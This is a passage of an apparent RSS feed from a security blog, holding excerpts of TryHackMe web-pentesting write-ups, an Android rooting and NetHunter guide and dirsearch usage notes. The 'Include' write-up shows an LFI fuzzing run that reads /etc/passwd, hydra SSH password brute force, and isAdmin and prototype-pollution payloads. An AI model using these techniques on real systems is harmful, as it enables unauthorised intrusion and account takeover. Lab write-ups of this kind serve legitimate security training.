&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip link show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 20: wlxbc307e231dg8: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# link/ether 16:16:36:71:f7:d8 brd ff:ff:ff:ff:ff:ff permaddr bc:33:7e:29:2c:f1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;It seems all good, please make note of the interface name &lt;code&gt;wlxbc307e231dg8&lt;/code&gt; and the MAC address &lt;code&gt;bc:33:7e:29:2c:f1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I understand the weird name of the interface, and we can try to rename it to something shorter in the next steps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-testing-monitor-mode-and-packet-injection-in-linux-host"&gt;1.2 Testing Monitor Mode and Packet Injection in Linux Host&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Without thinking much, I started playing with the Aircrack-ng suite.&lt;/p&gt;</description></item><item><title>Include - Web Pentesting - Tryhackme</title><link>https://silent-resistor.github.io/posts/include/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/include/</guid><description>&lt;ul&gt;
&lt;li&gt;Added &lt;code&gt;10.48.159.228 include.thm&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upon the nmap scan, we discovered there are two webservers running on the machine.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Nmap 7.95 scan initiated Sat Feb 28 07:26:57 2026 as: nmap -A -p4000,50000 -sC --script=*http-vuln* -oN include-new.nmap 10.48.159.228&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.48.159.228
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.024s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4000/tcp open http Node.js &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Express middleware&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;50000/tcp open http Apache httpd 2.4.41 &lt;span style="color:#f92672"&gt;((&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-vuln-cve2017-1001000: ERROR: Script execution failed &lt;span style="color:#f92672"&gt;(&lt;/span&gt;use -d to debug&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; open and &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Aggressive OS guesses: Linux 4.15 - 5.19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;96%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;95%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 5.4 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;95%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Adtran 424RG FTTH gateway &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Android &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Linux 4.9 - 4.14&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 2.6.32 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 2.6.39 - 3.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 3.11 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 3.7 - 4.19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Synology DiskStation Manager 5.1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Linux 3.2&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; host &lt;span style="color:#f92672"&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Directory enumeration on both webservers didn&amp;rsquo;t yield any useful results.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://include.thm:4000&lt;/code&gt; - The creator is allowing me to sign in with guest/guest&lt;/li&gt;
&lt;li&gt;Upon signing in, I opened my profile with &lt;code&gt;http://include.thm:4000/friend/1&lt;/code&gt;. I discovered that the website is vulnerable to IDOR.&lt;/li&gt;
&lt;li&gt;And I also discovered that it&amp;rsquo;s allowing me to change the profile parameters including admin status. I just added &lt;code&gt;isAdmin=true&lt;/code&gt; in the input fields and it worked. Now I am admin and I can see the Admin Settings option.&lt;/li&gt;
&lt;li&gt;We can also try here like &lt;code&gt;__proto__:{isAdmin:true}&lt;/code&gt; to make everyone as admin. (Prototype pollution)&lt;/li&gt;
&lt;li&gt;Upon looking at the API option, it lists a few endpoints that reveal admin credentials.&lt;/li&gt;
&lt;li&gt;Upon looking at the Admin Settings, I found a file upload option. By inspecting the HTTP request using Burp, I get to know that the file upload is vulnerable to SSRF. I used the endpoints mentioned in the API as the URL parameter, and it worked, revealing the admin credentials.&lt;/li&gt;
&lt;li&gt;Used these admin credentials in &lt;code&gt;http://include.thm:50000/login.php&lt;/code&gt; and I can see the first flag.&lt;/li&gt;
&lt;li&gt;Upon inspecting the source of &lt;code&gt;http://include.thm:50000/dashboard.php&lt;/code&gt;, there is a picture included with the path &lt;code&gt;http://include.thm:50000/profile?img=profile.png&lt;/code&gt;. And it&amp;rsquo;s easy to suspect that this is vulnerable to LFI.&lt;/li&gt;
&lt;li&gt;So, I got the list of payloads from &lt;code&gt;https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt&lt;/code&gt;, and tried them all.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt &amp;gt; lfipayload.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u http://include.thm:50000/profile.php?img&lt;span style="color:#f92672"&gt;=&lt;/span&gt;FUZZ -w payloads -H &lt;span style="color:#e6db74"&gt;&amp;#39;Cookie: PHPSESSID=vd4grnj98tqti28pc9lkc3dleu; connect.sid=s%3A5nvACvg5GVI-6f5cQxtCADkInn0mGaXp.9OzVoXF%2FllJgSXipRexPSF%2BZUG6sog6%2BtPrx%2Ffeu%2B8g&amp;#39;&lt;/span&gt; -mc &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -fs &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;It will reveal the file &lt;code&gt;/etc/passwd&lt;/code&gt; with users: charles, joshua&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s brute force the SSH passwords for these users.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hydra -l charles -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hydra -l joshua -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Get inside via SSH as charles or joshua and get the second flag from the &lt;code&gt;/var/www/html&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Unlock Bootloader in Android, Root it, and Install Kali Net Hunter</title><link>https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/</guid><description>&lt;h2 id="1-overview"&gt;1. Overview:&lt;/h2&gt;
&lt;p&gt;This miserable guide will drag you through the painful process of unlocking your Android device&amp;rsquo;s bootloader, rooting it, and installing Kali Linux NetHunter. Follow these steps desperately if you want to succeed, or don&amp;rsquo;t, whatever.&lt;/p&gt;
&lt;h3 id="table-of-contents"&gt;Table of contents&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#1-overview"&gt;1. Overview:&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#table-of-contents"&gt;Table of contents&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#2-prerequisites"&gt;2. Prerequisites:&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#21-hardware-requirements"&gt;2.1 Hardware Requirements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#22-software-requirements"&gt;2.2 Software Requirements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#23-setting-up-usb-debugging"&gt;2.3 Setting Up USB Debugging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#24-understand-some-theory-behind-bootloader-unlocking"&gt;2.4 Understand some theory behind bootloader unlocking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#3-an-exploitation"&gt;3. An Exploitation&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#31-setting-up-the-environment"&gt;3.1 Setting up the environment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#32-the-button-method-to-get-brom-access"&gt;3.2 The &amp;ldquo;Button&amp;rdquo; Method to get BROM access&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#33-the-hardware-unlock"&gt;3.3 The Hardware unlock&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#34-erase-the-corrupted-data-states"&gt;3.4 Erase the corrupted Data states&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#35-verification-of-unlocked-bootloader"&gt;3.5 Verification of unlocked bootloader&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#4-the-rooting-process"&gt;4. The Rooting Process&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#41-some-basics"&gt;4.1 Some Basics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#42-get-the-phone-a-brain-install-fresh-os"&gt;4.2 Get the Phone a Brain (Install Fresh OS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#43-rooting-for-nethunter"&gt;4.3 Rooting for Nethunter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#44-installing-kali-nethunter"&gt;4.4 Installing Kali NetHunter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#5-a-surgical-strike-on-all-trackers-and-de-googling"&gt;5. A Surgical Strike on all trackers and De-Googling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#6-how-do-we-use-kali-nethunter-phones-on-our-laptop"&gt;6. How do we use Kali NetHunter (Phone&amp;rsquo;s) on our Laptop?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-prerequisites"&gt;2. Prerequisites:&lt;/h2&gt;
&lt;h3 id="21-hardware-requirements"&gt;2.1 Hardware Requirements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Some Android device that hopefully works with NetHunter&lt;/li&gt;
&lt;li&gt;A USB cable that hopefully isn&amp;rsquo;t broken&lt;/li&gt;
&lt;li&gt;Linux computer (Ubuntu/Debian, because we&amp;rsquo;re all suffering anyway)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-software-requirements"&gt;2.2 Software Requirements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ADB (Android Debug Bridge) and Fastboot tools&lt;/li&gt;
&lt;li&gt;Android Studio (optional, comes with those platform tools we need)&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s figure out how to install these damn tools with one of these two desperate options:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option:1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Install ADB and Fastboot using package manager&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install android-tools-adb android-tools-fastboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option:2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# If you have Android Studio installed, the tools are located at:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -l $HOME/Android/Sdk/platform-tools/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Add to your PATH for easier access:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#39;export PATH=$PATH:/path/to/Android/Sdk/platform-tools&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="23-setting-up-usb-debugging"&gt;2.3 Setting Up USB Debugging&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enable Developer Options on Android&lt;/p&gt;</description></item><item><title>Injectics - Web-pentesting - Tryhackme</title><link>https://silent-resistor.github.io/posts/injectics/</link><pubDate>Sun, 08 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/injectics/</guid><description>&lt;h2 id="part1-reconnissance"&gt;Part1: Reconnissance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Upon Nmap scap at the given target machine, reveals a webserver running at 80.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HTPP Server: Apache/2.4.41 (Ubuntu)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A quick visit on site, reveals it has&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Home Page&lt;/li&gt;
&lt;li&gt;Login Page&lt;/li&gt;
&lt;li&gt;Admin Login Page&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Having a look at source of Home page (http://10.49.134.13/index.php), gives some qlues&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website developed by &lt;strong&gt;John Tim&lt;/strong&gt;- &lt;a href="mailto:dev@injectics.thm"&gt;dev@injectics.thm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mails are stored in &lt;strong&gt;mail.log&lt;/strong&gt; file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looking at &lt;strong&gt;mail.log&lt;/strong&gt; (http://10.49.134.13/mail.log)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;John said in mail to superadmins that &amp;ldquo;I have configured the service to automatically insert default credentials into the &lt;code&gt;users&lt;/code&gt; table if it is ever deleted or becomes corrupted&amp;rdquo;&lt;/li&gt;
&lt;li&gt;And a default credentials if table &lt;code&gt;users&lt;/code&gt; is deleted.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Email | Password 	 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|---------------------------|-------------------------|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| superadmin@injectics.thm | superSecurePasswd101 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dev@injectics.thm | devPasswd123 |
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Did a directory enumeration at root of website using &lt;code&gt;dirsearch&lt;/code&gt;, which uses its own wordlist available at &lt;code&gt;/usr/lib/python3/dist-packages/dirsearch/db&lt;/code&gt; directory.&lt;/p&gt;</description></item><item><title>dirsearch - Web Path Scanner</title><link>https://silent-resistor.github.io/resources/jr-pentester/dirsearch/</link><pubDate>Sat, 07 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/dirsearch/</guid><description>&lt;ul&gt;
&lt;li&gt;An advanced web path brute-forcer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="simple-usage"&gt;Simple Usage&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Most basic search&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -u https://target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Search for specific extensions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Search with custom wordlist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="recursion"&gt;Recursion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Recursive brute-force is brute-forcing continuously the after of found directories&lt;/li&gt;
&lt;li&gt;For example, if dirsearch finds admin/, it will brute-force admin/* (* is where it brute forces).&lt;/li&gt;
&lt;li&gt;To enable this feature, use -r (or &amp;ndash;recursive) flag&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;You can set the max recursion depth with &lt;code&gt;--max-recursion-depth&lt;/code&gt;, and status codes to recurse with &lt;code&gt;--recursion-status&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target -r --max-recursion-depth &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; --recursion-status 200-399
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;If there are sub-directories that you do not want to brute-force recursively, use &amp;ndash;exclude-subdirs&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target -r --exclude-subdirs image/,media/,css/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="threads-and-asynchronus"&gt;Threads and Asynchronus&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The thread number (-t | &amp;ndash;threads) reflects the number of separated brute force processes. And so the bigger the thread number is, the faster dirsearch runs.&lt;/li&gt;
&lt;li&gt;By default, the number of threads is 25, but you can increase it if you want to speed up the progress.&lt;/li&gt;
&lt;li&gt;You can switch to asynchronous mode by &lt;code&gt;--async&lt;/code&gt;, let dirsearch use coroutines instead of threads to handle concurrent requests.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; --async
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="prefixes--suffixes"&gt;Prefixes / Suffixes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--prefixes&lt;/code&gt;: Add custom prefixes to all entries&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--suffixes&lt;/code&gt;: Add custom suffixes to all entries&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# testing prefixes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php -u https://target --prefixes .,admin,_ -w /path/to/wordlist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# if we pass the wordlist containing `tools` word, then results might looks like&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.tools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;admintools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_tools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# testing suffixes&lt;/span&gt;
